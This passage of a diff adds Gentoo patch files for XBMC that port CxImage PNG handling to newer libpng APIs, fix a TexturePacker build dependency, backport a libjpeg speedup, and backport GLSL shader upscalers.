(_num_trans>1 && _trans_alpha!=NULL){ ++#else + if (_num_trans>1){ ++#endif + RGBQUAD* pal=GetPalette(); + if (pal){ + DWORD ip; diff --git a/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-headers.patch b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-headers.patch new file mode 100644 index 00000000..4648f9fd --- /dev/null +++ b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-headers.patch @@ -0,0 +1,12 @@ +diff --git a/tools/TexturePacker/XBTFWriter.cpp b/tools/TexturePacker/XBTFWriter.cpp +index 78b47fe..2e75d96 100644 +--- a/tools/TexturePacker/XBTFWriter.cpp ++++ b/tools/TexturePacker/XBTFWriter.cpp +@@ -22,6 +22,7 @@ + #include "XBTFWriter.h" + #define __STDC_FORMAT_MACROS + #include ++#include /* for unlink() prototype */ + #include "guilib/XBTF.h" + #include "utils/EndianSwap.h" + #if !defined(__APPLE__) && !defined(__FreeBSD__) diff --git a/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch new file mode 100644 index 00000000..da331d2b --- /dev/null +++ b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch @@ -0,0 +1,596 @@ +fix building with newer libpng. patch by Ian Stakenvicius. + +https://bugs.gentoo.org/380127 + +--- a/xbmc/lib/cximage-6.0/CxImage/ximapng.h ++++ b/xbmc/lib/cximage-6.0/CxImage/ximapng.h +@@ -69,8 +69,13 @@ + + static void PNGAPI user_error_fn(png_structp png_ptr,png_const_charp error_msg) + { ++#if PNG_LIBPNG_VER > 10399 ++ strncpy((char*)png_get_error_ptr(png_ptr),error_msg,255); ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + strncpy((char*)png_ptr->error_ptr,error_msg,255); + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + }; + +--- a/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp ++++ b/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp +@@ -15,7 +15,11 @@ + void CxImagePNG::ima_png_error(png_struct *png_ptr, char *message) + { + strcpy(info.szLastError,message); ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + //////////////////////////////////////////////////////////////////////////////// + #if CXIMAGE_SUPPORT_DECODE +@@ -62,7 +66,11 @@ + /* Set error handling if you are using the setjmp/longjmp method (this is + * the normal method of doing things with libpng). REQUIRED unless you + * set up your own error handlers in the png_create_read_struct() earlier. */ ++#if PNG_LIBPNG_VER > 10399 ++ if (setjmp(png_jmpbuf(png_ptr))) { ++#else + if (setjmp(png_ptr->jmpbuf)) { ++#endif + /* Free all of the memory associated with the png_ptr and info_ptr */ + delete [] row_pointers; + png_destroy_read_struct(&png_ptr, &info_ptr, (png_infopp)NULL); +@@ -70,16 +78,35 @@ + /* read the file information */ + png_read_info(png_ptr, info_ptr); + ++ png_uint_32 _width,_height; ++ int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type; ++#if PNG_LIBPNG_VER > 10399 ++ png_get_IHDR(png_ptr,info_ptr,&_width,&_height,&_bit_depth,&_color_type, ++ &_interlace_type,&_compression_type,&_filter_type); ++#else ++ _width=info_ptr->width; ++ _height=info_ptr->height; ++ _bit_depth=info_ptr->bit_depth; ++ _color_type=info_ptr->color_type; ++ _interlace_type=info_ptr->interlace_type; ++ _compression_type=info_ptr->compression_type; ++ _filter_type=info_ptr->filter_type; ++#endif ++ + if (info.nEscape == -1){ +- head.biWidth = info_ptr->width; +- head.biHeight= info_ptr->height; ++ head.biWidth = _width; ++ head.biHeight= _height; + info.dwType = CXIMAGE_FORMAT_PNG; ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + + /* calculate new number of channels */ + int channels=0; +- switch(info_ptr->color_type){ ++ switch(_color_type){ + case PNG_COLOR_TYPE_GRAY: + case PNG_COLOR_TYPE_PALETTE: + channels = 1; +@@ -101,71 +128,108 @@ + break; + default: + strcpy(info.szLastError,"unknown PNG color type"); ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + + //find the right pixel depth used for cximage ++#if PNG_LIBPNG_VER > 10399 ++ int pixel_depth = _bit_depth * png_get_channels(png_ptr,info_ptr); ++#else + int pixel_depth = info_ptr->pixel_depth; ++#endif + if (channels == 1 && pixel_depth>8) pixel_depth=8; + if (channels == 2) pixel_depth=8; + if (channels >= 3) pixel_depth=24; + +- if (!Create(info_ptr->width, info_ptr->height, pixel_depth, CXIMAGE_FORMAT_PNG)){ ++ if (!Create(_width, _height, pixel_depth, CXIMAGE_FORMAT_PNG)){ ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + + /* get metrics */ +- switch (info_ptr->phys_unit_type) ++ png_uint_32 _x_pixels_per_unit,_y_pixels_per_unit; ++ int _phys_unit_type; ++#if PNG_LIBPNG_VER > 10399 ++ png_get_pHYs(png_ptr,info_ptr,&_x_pixels_per_unit,&_y_pixels_per_unit,&_phys_unit_type); ++#else ++ _x_pixels_per_unit=info_ptr->x_pixels_per_unit; ++ _y_pixels_per_unit=info_ptr->y_pixels_per_unit; ++ _phys_unit_type=info_ptr->phys_unit_type; ++#endif ++ switch (_phys_unit_type) + { + case PNG_RESOLUTION_UNKNOWN: +- SetXDPI(info_ptr->x_pixels_per_unit); +- SetYDPI(info_ptr->y_pixels_per_unit); ++ SetXDPI(_x_pixels_per_unit); ++ SetYDPI(_y_pixels_per_unit); + break; + case PNG_RESOLUTION_METER: +- SetXDPI((long)floor(info_ptr->x_pixels_per_unit * 254.0 / 10000.0 + 0.5)); +- SetYDPI((long)floor(info_ptr->y_pixels_per_unit * 254.0 / 10000.0 + 0.5)); ++ SetXDPI((long)floor(_x_pixels_per_unit * 254.0 / 10000.0 + 0.5)); ++ SetYDPI((long)floor(_y_pixels_per_unit * 254.0 / 10000.0 + 0.5)); + break; + } + +- if (info_ptr->num_palette>0){ +- SetPalette((rgb_color*)info_ptr->palette,info_ptr->num_palette); +- SetClrImportant(info_ptr->num_palette); +- } else if (info_ptr->bit_depth ==2) { // needed for 2 bpp grayscale PNGs ++ int _num_palette; ++ png_colorp _palette; ++#if PNG_LIBPNG_VER > 10399 ++ png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette); ++#else ++ _num_palette=info_ptr->num_palette; ++ _palette=info_ptr->palette; ++#endif ++ if (_num_palette>0){ ++ SetPalette((rgb_color*)_palette,_num_palette); ++ SetClrImportant(_num_palette); ++ } else if (_bit_depth ==2) { // needed for 2 bpp grayscale PNGs + SetPaletteColor(0,0,0,0); + SetPaletteColor(1,85,85,85); + SetPaletteColor(2,170,170,170); + SetPaletteColor(3,255,255,255); + } else SetGrayPalette(); // needed for grayscale PNGs + +- int nshift = max(0,(info_ptr->bit_depth>>3)-1)<<3; ++ int nshift = max(0,(_bit_depth>>3)-1)<<3; + +- if (info_ptr->num_trans!=0){ //palette transparency +- if (info_ptr->num_trans==1){ +- if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE){ ++ png_bytep _trans_alpha; ++ int _num_trans; ++ png_color_16p _trans_color; ++#if PNG_LIBPNG_VER > 10399 ++ png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color); ++#else ++ _num_trans=info_ptr->num_trans; ++#endif ++ if (_num_trans!=0){ //palette transparency ++ if (_num_trans==1){ ++ if (_color_type == PNG_COLOR_TYPE_PALETTE){ + #if PNG_LIBPNG_VER > 10399 +- info.nBkgndIndex = info_ptr->trans_color.index; ++ info.nBkgndIndex = _trans_color->index; + #else + info.nBkgndIndex = info_ptr->trans_values.index; + #endif + } else{ + #if PNG_LIBPNG_VER > 10399 +- info.nBkgndIndex = info_ptr->trans_color.gray>>nshift; ++ info.nBkgndIndex = _trans_color->gray>>nshift; + #else + info.nBkgndIndex = info_ptr->trans_values.gray>>nshift; + #endif + } + } +- if (info_ptr->num_trans>1){ ++ if (_num_trans>1){ + RGBQUAD* pal=GetPalette(); + if (pal){ + DWORD ip; +- for (ip=0;ipnum_trans);ip++) ++ for (ip=0;ip 10399 +- pal[ip].rgbReserved=info_ptr->trans_alpha[ip]; ++ pal[ip].rgbReserved=_trans_alpha[ip]; + #else + pal[ip].rgbReserved=info_ptr->trans[ip]; + #endif +- for (ip=info_ptr->num_trans;ip 10399 +- info.nBkgndColor.rgbRed = (BYTE)(info_ptr->trans_color.red>>nshift); +- info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_color.green>>nshift); +- info.nBkgndColor.rgbBlue = (BYTE)(info_ptr->trans_color.blue>>nshift); ++ /* seems unnecessary to call again, but the conditional must be important so... */ ++ if (png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color)){ ++#if PNG_LIBPNG_VER > 10399 ++ info.nBkgndColor.rgbRed = (BYTE)(_trans_color->red>>nshift); ++ info.nBkgndColor.rgbGreen = (BYTE)(_trans_color->green>>nshift); ++ info.nBkgndColor.rgbBlue = (BYTE)(_trans_color->blue>>nshift); + #else + info.nBkgndColor.rgbRed = (BYTE)(info_ptr->trans_values.red>>nshift); + info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_values.green>>nshift); +@@ -202,15 +264,24 @@ + } + + // - flip the RGB pixels to BGR (or RGBA to BGRA) +- if (info_ptr->color_type & PNG_COLOR_MASK_COLOR){ ++ if (_color_type & PNG_COLOR_MASK_COLOR){ + png_set_bgr(png_ptr); + } + + // - handle cancel +- if (info.nEscape) longjmp(png_ptr->jmpbuf, 1); ++ if (info.nEscape) ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else ++ longjmp(png_ptr->jmpbuf, 1); ++#endif + + // row_bytes is the width x number of channels x (bit-depth / 8) ++#if PNG_LIBPNG_VER > 10399 ++ row_pointers = new BYTE[png_get_rowbytes(png_ptr,info_ptr) + 8]; ++#else + row_pointers = new BYTE[info_ptr->rowbytes + 8]; ++#endif + + // turn on interlace handling + int number_passes = png_set_interlace_handling(png_ptr); +@@ -221,8 +292,12 @@ + SetCodecOption(0); + } + +- int chan_offset = info_ptr->bit_depth >> 3; ++ int chan_offset = _bit_depth >> 3; ++#if PNG_LIBPNG_VER > 10399 ++ int pixel_offset = (_bit_depth * png_get_channels(png_ptr,info_ptr)) >> 3; ++#else + int pixel_offset = info_ptr->pixel_depth >> 3; ++#endif + + for (int pass=0; pass < number_passes; pass++) { + iter.Upset(); +@@ -230,7 +305,12 @@ + do { + + // - handle cancel +- if (info.nEscape) longjmp(png_ptr->jmpbuf, 1); ++ if (info.nEscape) ++#if PNG_LIBPNG_VER > 10399 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else ++ longjmp(png_ptr->jmpbuf, 1); ++#endif + + #if CXIMAGE_SUPPORT_ALPHA // + if (AlphaIsValid()) { +@@ -241,7 +321,7 @@ + BYTE* prow= iter.GetRow(ay); + + //recover data from previous scan +- if (info_ptr->interlace_type && pass>0 && pass!=7){ ++ if (_interlace_type && pass>0 && pass!=7){ + for(ax=0;axinterlace_type && pass>0){ ++ if (_interlace_type && pass>0){ ++#if PNG_LIBPNG_VER > 10399 ++ iter.GetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr)); ++#else + iter.GetRow(row_pointers, info_ptr->rowbytes); ++#endif + //re-expand buffer for images with bit depth > 8 +- if (info_ptr->bit_depth > 8){ ++ if (_bit_depth > 8){ + for(long ax=(head.biWidth*channels-1);ax>=0;ax--) + row_pointers[ax*chan_offset] = row_pointers[ax]; + } +@@ -291,15 +375,19 @@ + png_read_row(png_ptr, row_pointers, NULL); + + //shrink 16 bit depth images down to 8 bits +- if (info_ptr->bit_depth > 8){ ++ if (_bit_depth > 8){ + for(long ax=0;ax<(head.biWidth*channels);ax++) + row_pointers[ax] = row_pointers[ax*chan_offset]; + } + + //copy the pixels ++#if PNG_LIBPNG_VER > 10399 ++ iter.SetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr)); ++#else + iter.SetRow(row_pointers, info_ptr->rowbytes); ++#endif + // expand 2 bpp images only in the last pass +- if (info_ptr->bit_depth==2 && pass==(number_passes-1)) ++ if (_bit_depth==2 && pass==(number_passes-1)) + expand2to4bpp(iter.GetRow()); + + //go on +@@ -361,9 +449,13 @@ + /* Set error handling. REQUIRED if you aren't supplying your own + * error hadnling functions in the png_create_write_struct() call. + */ ++#if PNG_LIBPNG_VER > 10399 ++ if (setjmp(png_jmpbuf(png_ptr))){ ++#else + if (setjmp(png_ptr->jmpbuf)){ + /* If we get here, we had a problem reading the file */ + if (info_ptr->palette) free(info_ptr->palette); ++#endif + png_destroy_write_struct(&png_ptr, (png_infopp)&info_ptr); + cx_throw("Error saving PNG file"); + } +@@ -372,9 +464,23 @@ + //png_init_io(png_ptr, hFile); + + // use custom I/O functions +- png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data); ++ png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data); + + /* set the file information here */ ++#if PNG_LIBPNG_VER > 10399 ++ /* use variables to hold the values so it isnt necessary to png_get them later */ ++ png_uint_32 _width,_height; ++ int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type; ++ png_byte _channels,_pixel_depth; ++ ++ _width = GetWidth(); ++ _height = GetHeight(); ++ _pixel_depth = (BYTE)GetBpp(); ++ _channels = (GetBpp()>8) ? (BYTE)3: (BYTE)1; ++ _bit_depth = (BYTE)(GetBpp()/_channels); ++ _compression_type = PNG_COMPRESSION_TYPE_DEFAULT; ++ _filter_type = PNG_FILTER_TYPE_DEFAULT; ++#else + info_ptr->width = GetWidth(); + info_ptr->height = GetHeight(); + info_ptr->pixel_depth = (BYTE)GetBpp(); +@@ -382,13 +488,22 @@ + info_ptr->bit_depth = (BYTE)(GetBpp()/info_ptr->channels); + info_ptr->compression_type = info_ptr->filter_type = 0; + info_ptr->valid = 0; ++#endif + + switch(GetCodecOption(CXIMAGE_FORMAT_PNG)){ + case 1: ++#if PNG_LIBPNG_VER > 10399 ++ _interlace_type = PNG_INTERLACE_ADAM7; ++#else + info_ptr->interlace_type = PNG_INTERLACE_ADAM7; ++#endif + break; + default: ++#if PNG_LIBPNG_VER > 10399 ++ _interlace_type = PNG_INTERLACE_NONE; ++#else + info_ptr->interlace_type = PNG_INTERLACE_NONE; ++#endif + } + + /* set compression level */ +@@ -398,22 +513,47 @@ + + if (GetNumColors()){ + if (bGrayScale){ ++#if PNG_LIBPNG_VER > 10399 ++ _color_type = PNG_COLOR_TYPE_GRAY; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_GRAY; ++#endif + } else { ++#if PNG_LIBPNG_VER > 10399 ++ _color_type = PNG_COLOR_TYPE_PALETTE; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_PALETTE; ++#endif + } + } else { ++#if PNG_LIBPNG_VER > 10399 ++ _color_type = PNG_COLOR_TYPE_RGB; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_RGB; ++#endif + } + #if CXIMAGE_SUPPORT_ALPHA + if (AlphaIsValid()){ ++#if PNG_LIBPNG_VER > 10399 ++ _color_type |= PNG_COLOR_MASK_ALPHA; ++ _channels++; ++ _bit_depth = 8; ++ _pixel_depth += 8; ++#else + info_ptr->color_type |= PNG_COLOR_MASK_ALPHA; + info_ptr->channels++; + info_ptr->bit_depth = 8; + info_ptr->pixel_depth += 8; ++#endif + } + #endif + ++#if PNG_LIBPNG_VER > 10399 ++ /* set the header here, since we're done modifying these values */ ++ png_set_IHDR(png_ptr,info_ptr,_width,_height,_bit_depth,_color_type,_interlace_type, ++ _compression_type,_filter_type); ++#endif ++ + /* set background */ + png_color_16 image_background={ 0, 255, 255, 255, 0 }; + RGBQUAD tc = GetTransColor(); +@@ -427,22 +567,24 @@ + /* set metrics */ + png_set_pHYs(png_ptr, info_ptr, head.biXPelsPerMeter, head.biYPelsPerMeter, PNG_RESOLUTION_METER); + ++#if PNG_LIBPNG_VER <= 10399 + png_set_IHDR(png_ptr, info_ptr, info_ptr->width, info_ptr->height, info_ptr->bit_depth, + info_ptr->color_type, info_ptr->interlace_type, + PNG_COMPRESSION_TYPE_BASE, PNG_FILTER_TYPE_BASE); ++#endif + + // simple transparency + if (info.nBkgndIndex >= 0){ +- info_ptr->num_trans = 1; +- info_ptr->valid |= PNG_INFO_tRNS; + #if PNG_LIBPNG_VER > 10399 +- info_ptr->trans_alpha = trans; +- info_ptr->trans_color.index = (BYTE)info.nBkgndIndex; +- info_ptr->trans_color.red = tc.rgbRed; +- info_ptr->trans_color.green = tc.rgbGreen; +- info_ptr->trans_color.blue = tc.rgbBlue; +- info_ptr->trans_color.gray = info_ptr->trans_color.index; ++ png_color_16 _trans_color; ++ _trans_color.index = (BYTE)info.nBkgndIndex; ++ _trans_color.red = tc.rgbRed; ++ _trans_color.green = tc.rgbGreen; ++ _trans_color.blue = tc.rgbBlue; ++ _trans_color.gray = _trans_color.index; + #else ++ info_ptr->num_trans = 1; ++ info_ptr->valid |= PNG_INFO_tRNS; + info_ptr->trans = trans; + info_ptr->trans_values.index = (BYTE)info.nBkgndIndex; + info_ptr->trans_values.red = tc.rgbRed; +@@ -454,34 +596,53 @@ + // the transparency indexes start from 0 for non grayscale palette + if (!bGrayScale && head.biClrUsed && info.nBkgndIndex) + SwapIndex(0,(BYTE)info.nBkgndIndex); ++ ++#if PNG_LIBPNG_VER > 10399 ++ png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,1,&_trans_color); ++#endif + } + + /* set the palette if there is one */ ++#if PNG_LIBPNG_VER > 10399 ++ png_colorp _palette; ++#endif + if (GetPalette()){ ++#if PNG_LIBPNG_VER <= 10399 + if (!bGrayScale){ + info_ptr->valid |= PNG_INFO_PLTE; + } ++#endif + + int nc = GetClrImportant(); + if (nc==0) nc = GetNumColors(); + ++ // copy the palette colors ++#if PNG_LIBPNG_VER > 10399 ++ _palette = new png_color[nc]; ++#else ++ info_ptr->palette = new png_color[nc]; ++ info_ptr->num_palette = (png_uint_16) nc; ++#endif ++ for (int i=0; i 10399 ++ GetPaletteColor(i, &_palette[i].red, &_palette[i].green, &_palette[i].blue); ++ ++ png_set_PLTE(png_ptr,info_ptr,_palette,nc); ++#else ++ GetPaletteColor(i, &info_ptr->palette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue); ++#endif ++ + if (info.bAlphaPaletteEnabled){ + for(WORD ip=0; ipnum_trans = (WORD)nc; +- info_ptr->valid |= PNG_INFO_tRNS; + #if PNG_LIBPNG_VER > 10399 +- info_ptr->trans_alpha = trans; ++ png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,nc,NULL); + #else ++ info_ptr->num_trans = (WORD)nc; ++ info_ptr->valid |= PNG_INFO_tRNS; + info_ptr->trans = trans; + #endif + } +- +- // copy the palette colors +- info_ptr->palette = new png_color[nc]; +- info_ptr->num_palette = (png_uint_16) nc; +- for (int i=0; ipalette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue); + } + + #if CXIMAGE_SUPPORT_ALPHA // +@@ -495,8 +656,12 @@ + } } } + #endif // CXIMAGE_SUPPORT_ALPHA // + ++#if PNG_LIBPNG_VER > 10399 ++ int row_size = max(info.dwEffWidth, (_width * _channels * _bit_depth / 8)); ++#else + int row_size = max(info.dwEffWidth, info_ptr->width*info_ptr->channels*(info_ptr->bit_depth/8)); + info_ptr->rowbytes = row_size; ++#endif + BYTE *row_pointers = new BYTE[row_size]; + + /* write the file information */ +@@ -514,7 +679,11 @@ + if (AlphaIsValid()){ + for (long ax=head.biWidth-1; ax>=0;ax--){ + c = BlindGetPixelColor(ax,ay); ++#if PNG_LIBPNG_VER > 10399 ++ int px = ax * _channels; ++#else + int px = ax * info_ptr->channels; ++#endif + if (!bGrayScale){ + row_pointers[px++]=c.rgbRed; + row_pointers[px++]=c.rgbGreen; +@@ -529,7 +698,11 @@ + #endif //CXIMAGE_SUPPORT_ALPHA // + { + iter.GetRow(row_pointers, row_size); ++#if PNG_LIBPNG_VER > 10399 ++ if (_color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP ++#else + if (info_ptr->color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP ++#endif + RGBtoBGR(row_pointers, row_size); + png_write_row(png_ptr, row_pointers); + } +@@ -546,9 +719,14 @@ + png_write_end(png_ptr, info_ptr); + + /* if you malloced the palette, free it here */ ++#if PNG_LIBPNG_VER > 10399 ++ if (_palette){ ++ delete [] (_palette); ++#else + if (info_ptr->palette){ + delete [] (info_ptr->palette); + info_ptr->palette = NULL; ++#endif + } + + /* clean up after the write, and free any memory allocated */ diff --git a/media-tv/xbmc/files/xbmc-9.11-TexturePacker-parallel-build.patch b/media-tv/xbmc/files/xbmc-9.11-TexturePacker-parallel-build.patch new file mode 100644 index 00000000..f6bc030e --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9.11-TexturePacker-parallel-build.patch @@ -0,0 +1,13 @@ +http://trac.xbmc.org/ticket/9275 + +--- xbmc/Makefile.in ++++ xbmc/Makefile.in +@@ -501,7 +501,7 @@ else + $(MAKE) -C tools/XBMCTex/ + endif + +-tools/TexturePacker/TexturePacker: ++tools/TexturePacker/TexturePacker: guilib/guilib.a xbmc/lib/libsquish/libsquish-@ARCH@.a + $(MAKE) -C tools/TexturePacker/ + + install-bin: xbmc.bin # developement convenience target diff --git a/media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch b/media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch new file mode 100644 index 00000000..63cadbf5 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch @@ -0,0 +1,18 @@ +fix from upstream +http://bugs.gentoo.org/300909 + +r26689 | jmarshallnz | 2010-01-11 14:30:08 -0500 (Mon, 11 Jan 2010) | 2 lines +fixed: Ticket #7810 - high cpu load during loading of images with libjpeg7, thanks to akawaka. + +Index: xbmc/lib/cximage-6.0/CxImage/ximajpg.cpp +=================================================================== +--- xbmc/lib/cximage-6.0/CxImage/ximajpg.cpp (revision 26688) ++++ xbmc/lib/cximage-6.0/CxImage/ximajpg.cpp (revision 26689) +@@ -220,6 +220,7 @@ bool CxImageJPG::Decode(CxFile * hFile) + + // Set the scale + cinfo.scale_denom = GetJpegScale(); ++ cinfo.scale_num = 1; + + // Borrowed the idea from GIF implementation + if (info.nEscape == -1) { diff --git a/media-tv/xbmc/files/xbmc-9.11-libpng14.patch b/media-tv/xbmc/files/xbmc-9.11-libpng14.patch new file mode 100644 index 00000000..b5af087e --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9.11-libpng14.patch @@ -0,0 +1,92 @@ +http://bugs.gentoo.org/319113 +http://repos.archlinux.org/wsvn/community/xbmc/trunk/libpng14.patch + +diff -Nur xbmc-9.11.orig/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp xbmc-9.11/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp +--- xbmc-9.11.orig/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp 2008-07-18 23:40:53.000000000 +0300 ++++ xbmc-9.11/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp 2010-01-20 21:55:11.000000000 +0200 +@@ -142,9 +142,9 @@ + if (info_ptr->num_trans!=0){ //palette transparency + if (info_ptr->num_trans==1){ + if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE){ +- info.nBkgndIndex = info_ptr->trans_values.index; ++ info.nBkgndIndex = info_ptr->trans_color.index; + } else{ +- info.nBkgndIndex = info_ptr->trans_values.gray>>nshift; ++ info.nBkgndIndex = info_ptr->trans_color.gray>>nshift; + } + } + if (info_ptr->num_trans>1){ +@@ -152,7 +152,7 @@ + if (pal){ + DWORD ip; + for (ip=0;ipnum_trans);ip++) +- pal[ip].rgbReserved=info_ptr->trans[ip]; ++ pal[ip].rgbReserved=info_ptr->trans_alpha[ip]; + for (ip=info_ptr->num_trans;iptrans_values.red>>nshift); +- info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_values.green>>nshift); +- info.nBkgndColor.rgbBlue = (BYTE)(info_ptr->trans_values.blue>>nshift); ++ info.nBkgndColor.rgbRed = (BYTE)(info_ptr->trans_color.red>>nshift); ++ info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_color.green>>nshift); ++ info.nBkgndColor.rgbBlue = (BYTE)(info_ptr->trans_color.blue>>nshift); + info.nBkgndColor.rgbReserved = 0; + info.nBkgndIndex = 0; + } +@@ -417,12 +417,12 @@ + if (info.nBkgndIndex >= 0){ + info_ptr->num_trans = 1; + info_ptr->valid |= PNG_INFO_tRNS; +- info_ptr->trans = trans; +- info_ptr->trans_values.index = (BYTE)info.nBkgndIndex; +- info_ptr->trans_values.red = tc.rgbRed; +- info_ptr->trans_values.green = tc.rgbGreen; +- info_ptr->trans_values.blue = tc.rgbBlue; +- info_ptr->trans_values.gray = info_ptr->trans_values.index; ++ info_ptr->trans_alpha = trans; ++ info_ptr->trans_color.index = (BYTE)info.nBkgndIndex; ++ info_ptr->trans_color.red = tc.rgbRed; ++ info_ptr->trans_color.green = tc.rgbGreen; ++ info_ptr->trans_color.blue = tc.rgbBlue; ++ info_ptr->trans_color.gray = info_ptr->trans_color.index; + + // the transparency indexes start from 0 for non grayscale palette + if (!bGrayScale && head.biClrUsed && info.nBkgndIndex) +@@ -443,7 +443,7 @@ + trans[ip]=GetPaletteColor((BYTE)ip).rgbReserved; + info_ptr->num_trans = (WORD)nc; + info_ptr->valid |= PNG_INFO_tRNS; +- info_ptr->trans = trans; ++ info_ptr->trans_alpha = trans; + } + + // copy the palette colors +diff -Nur xbmc-9.11.orig/xbmc/screensavers/rsxs-0.9/src/pngimage.cc xbmc-9.11/xbmc/screensavers/rsxs-0.9/src/pngimage.cc +--- xbmc-9.11.orig/xbmc/screensavers/rsxs-0.9/src/pngimage.cc 2008-07-30 23:35:38.000000000 +0300 ++++ xbmc-9.11/xbmc/screensavers/rsxs-0.9/src/pngimage.cc 2010-01-20 22:21:01.000000000 +0200 +@@ -65,7 +65,7 @@ + (png_get_color_type(png, pngInfo) == PNG_COLOR_TYPE_GRAY) && + png_get_bit_depth(png, pngInfo) < 8 + ) +- png_set_gray_1_2_4_to_8(png); ++ png_set_expand_gray_1_2_4_to_8(png); + if (png_get_valid(png, pngInfo, PNG_INFO_tRNS)) + png_set_tRNS_to_alpha(png); + if (fullColor) +diff -Nur xbmc-9.11.orig/xbmc/visualizations/Goom/goom2k4-0/src/pngload.c xbmc-9.11/xbmc/visualizations/Goom/goom2k4-0/src/pngload.c +--- xbmc-9.11.orig/xbmc/visualizations/Goom/goom2k4-0/src/pngload.c 2008-08-04 05:05:51.000000000 +0300 ++++ xbmc-9.11/xbmc/visualizations/Goom/goom2k4-0/src/pngload.c 2010-01-20 22:16:23.000000000 +0200 +@@ -94,7 +94,7 @@ + png_set_palette_to_rgb (png_ptr); + + if (color_type == PNG_COLOR_TYPE_GRAY && bit_depth < 8) +- png_set_gray_1_2_4_to_8 (png_ptr); ++ png_set_expand_gray_1_2_4_to_8 (png_ptr); + else if (color_type == PNG_COLOR_TYPE_GRAY || + color_type == PNG_COLOR_TYPE_GRAY_ALPHA) + png_set_gray_to_rgb (png_ptr); diff --git a/media-tv/xbmc/files/xbmc-9.11-shader-upscalers.patch b/media-tv/xbmc/files/xbmc-9.11-shader-upscalers.patch new file mode 100644 index 00000000..d4feaa47 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-9.11-shader-upscalers.patch @@ -0,0 +1,887 @@ +http://bugs.gentoo.org/306661 + +backport shader based upscalers from svn trunk + +--- language/English/strings.xml ++++ language/English/strings.xml +@@ -1554,16 +1554,17 @@ + Lanczos2 + Lanczos3 + Sinc8 +- + Bicubic (software) + Lanczos (software) + Sinc (software) +- + (VDPAU)Temporal + (VDPAU)Temporal/Spatial + (VDPAU)Noise Reduction + (VDPAU)Sharpness + Inverse Telecine ++ Lanczos3 optimized ++ Auto ++ + Display sleep timeout + + Switch to channel +--- system/shaders/convolution-6x6.glsl ++++ system/shaders/convolution-6x6.glsl +@@ -0,0 +1,69 @@ ++uniform sampler2D img; ++uniform float stepx; ++uniform float stepy; ++ ++#if (HAS_FLOAT_TEXTURE) ++uniform sampler1D kernelTex; ++ ++vec3 weight(float pos) ++{ ++ return texture1D(kernelTex, pos).rgb; ++} ++#else ++uniform sampler2D kernelTex; ++ ++vec3 weight(float pos) ++{ ++ //row 0 contains the high byte, row 1 contains the low byte ++ return ((texture2D(kernelTex, vec2(pos, 0.0)) * 256.0 + texture2D(kernelTex, vec2(pos, 1.0)))).rgb / 128.5 - 1.0; ++} ++#endif ++ ++vec3 pixel(float xpos, float ypos) ++{ ++ return texture2D(img, vec2(xpos, ypos)).rgb; ++} ++ ++vec3 line (float ypos, vec3 xpos1, vec3 xpos2, vec3 linetaps1, vec3 linetaps2) ++{ ++ vec3 pixels; ++ ++ pixels = pixel(xpos1.r, ypos) * linetaps1.r; ++ pixels += pixel(xpos1.g, ypos) * linetaps2.r; ++ pixels += pixel(xpos1.b, ypos) * linetaps1.g; ++ pixels += pixel(xpos2.r, ypos) * linetaps2.g; ++ pixels += pixel(xpos2.g, ypos) * linetaps1.b; ++ pixels += 